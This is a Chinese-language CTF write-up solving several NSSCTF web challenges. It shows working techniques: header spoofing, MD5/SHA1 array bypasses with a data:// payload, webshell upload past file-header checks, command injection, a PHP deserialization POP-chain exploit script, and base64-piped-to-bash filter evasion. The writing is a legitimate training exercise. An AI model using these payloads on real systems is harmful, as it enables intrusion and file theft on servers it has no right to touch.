今天再来做做这个, 网址是 https://www.nssctf.cn/contest/221/

colorful_snake

image-20231017075146437

这似乎是一个贪吃蛇小游戏, 我贪吃蛇比较菜, 就先不玩了

看到源码里面有 game.js, 直接打开分析分析

可以看到在最下面有 this_is_flag 函数, 执行之后就可以得到 flag 了?

然而flag却是 NSSCTF{this_is_fake_flag}, 提交之后发现不正确, 我们再继续找找

再让下看, 可以看到 this_is _real_flag 函数, 解密得到真实 flag, 提交即可

(还好不像 ACM 一样有罚时)

NSS_HTTP_CHECKER

可以看到有这些要求, 我们来一个个满足一下

  • 传入 GET 参数即可, 可以看到这里是 %1t, 我们注意一点
  • 传入 POST 的 form 参数即可
  • Cookie 在 Header 中填写好
  • NSSCTF 浏览器的话直接写到 User-Agent 里面
  • 本地网络尝试使用 X-Forwarded-For 来伪装真实 IP

解决掉这些之后就可以得到 flag

您!

没想到还是音游佬出题

一键连接!

image-20231017100325220

我们 可以看看, 这个要求两个原文本不相等但是 MD5 或者 sha1 相等

第一个 MD5 和 sha1 我们使用数组绕过, 数组经过加密之后都为 null, 可以绕过全等判断

之后就是一个提示 可曾听过data协议?

我们使用 data 协议过掉所有判断, 得到 url 如下

http://node5.anna.nssctf.cn:28322/?md5_1[]=1&md5_2[]=2&sha1_1[]=1&sha1_2[]=2&new_player=data://text/plain;base64,V2VsY29tZSB0byBOU1NDVEYhISE=

最后可以看到试试 need Antsword, 可以看到要用中国蚁剑来打了!

连接上后根目录找到 flag

ex_talk

image-20231017134422353

经典的文件上传, 我们先试着上传一张, 发现要求必须是图片, 并且是服务端校验

我们尝试用一句话改个后缀来进行执行, 结果发现返回改了type我就不知道你这个不是图片了是吧(有一种熟悉的感觉不是吗)

发现服务端是检测的文件头, 我们尝试创建一个 1×1 的图片, 在文件尾加上 php 代码试试, 并用 PHP 作为扩展上传试试.

image-20231019075827778

pingpingping

image-20231019075906670

发现此处提示当前为 Windows 环境(信你了, docker 是 linux), 此处通过了 system 执行了 ping 指令并且无回显, 考虑命令穿越

这个地方有一个小问题, 他的 GET 参数存在 . , 这会在 php 里面被转义成 _

感谢 @H3 大佬的提醒, 这篇文章 写了如何绕过这个问题

我们再拼接一个 ; cp /flag ./flag , 在通过网页访问即可

UnS3rialize

这道题为 PHP 反序列化

我们先看看代码

image-20231020123824244

我们可以分析这道题

  • 看到在 NSS 类的 __invoke 下存在 system 执行, 需要将 NSS 类作为函数调用
  • C 类的 __get 方法将 whoami 进行调用 (这里使用了中间变量中转), 我们将其赋值为 NSS 类, 我们需要找到访问非法字段的地方
  • T__toString 下访问了 sthvar (var 非法), 我们将其赋值为 C 类, 需要找到字符串调用的地方
  • F 中的 __destruct 存在对 note 字符串拼接, 将其赋值为 T, 发现需要userpasswd满足条件

于是我们构造如下反序列化链

<?php
class NSS
{
    public $cmd = "cat /flag";
}

class C
{
    public $whoami;
}

class T
{
    public $sth;
}

class F
{
    public $user = "SWPU";
    public $passwd = "NSS";
    public $notes;
}

$f = new F("SWPU", "NSS");

$t = new T();
$c = new C();
$nss = new NSS();
$c->whoami = $nss;
$t->sth = $c;
$f->notes = $t;
echo serialize($f);

即可拿到 flag

RCE-PLUS

image-20231020124333695这是一道远程执行漏洞, 发现通过正则进行匹配掉了某些关键字, 并且死亡 die 掉

经过发现, 没有过滤掉 bash 指令, 我们可以将我们的指令经过 base64 编码, 再通过管道解码后再管道进 bash

于是构建请求

echo Y3AgL2ZsYWcgLi9mbGFn~ | base64 -d | bash

拿到 flag

if-else

这个的话直接在那里写 var_dump(file_get_contents('/flag'))

再访问 check.php 即可

(我是绕过了考点吗?)

唉, 今天下午就要结束了, 这篇 WP 也是在课间赶出来的.

之后我要恶补一下反序列化了, Java 和 PHP 的, 不然真的每次都弄不来, 太笨了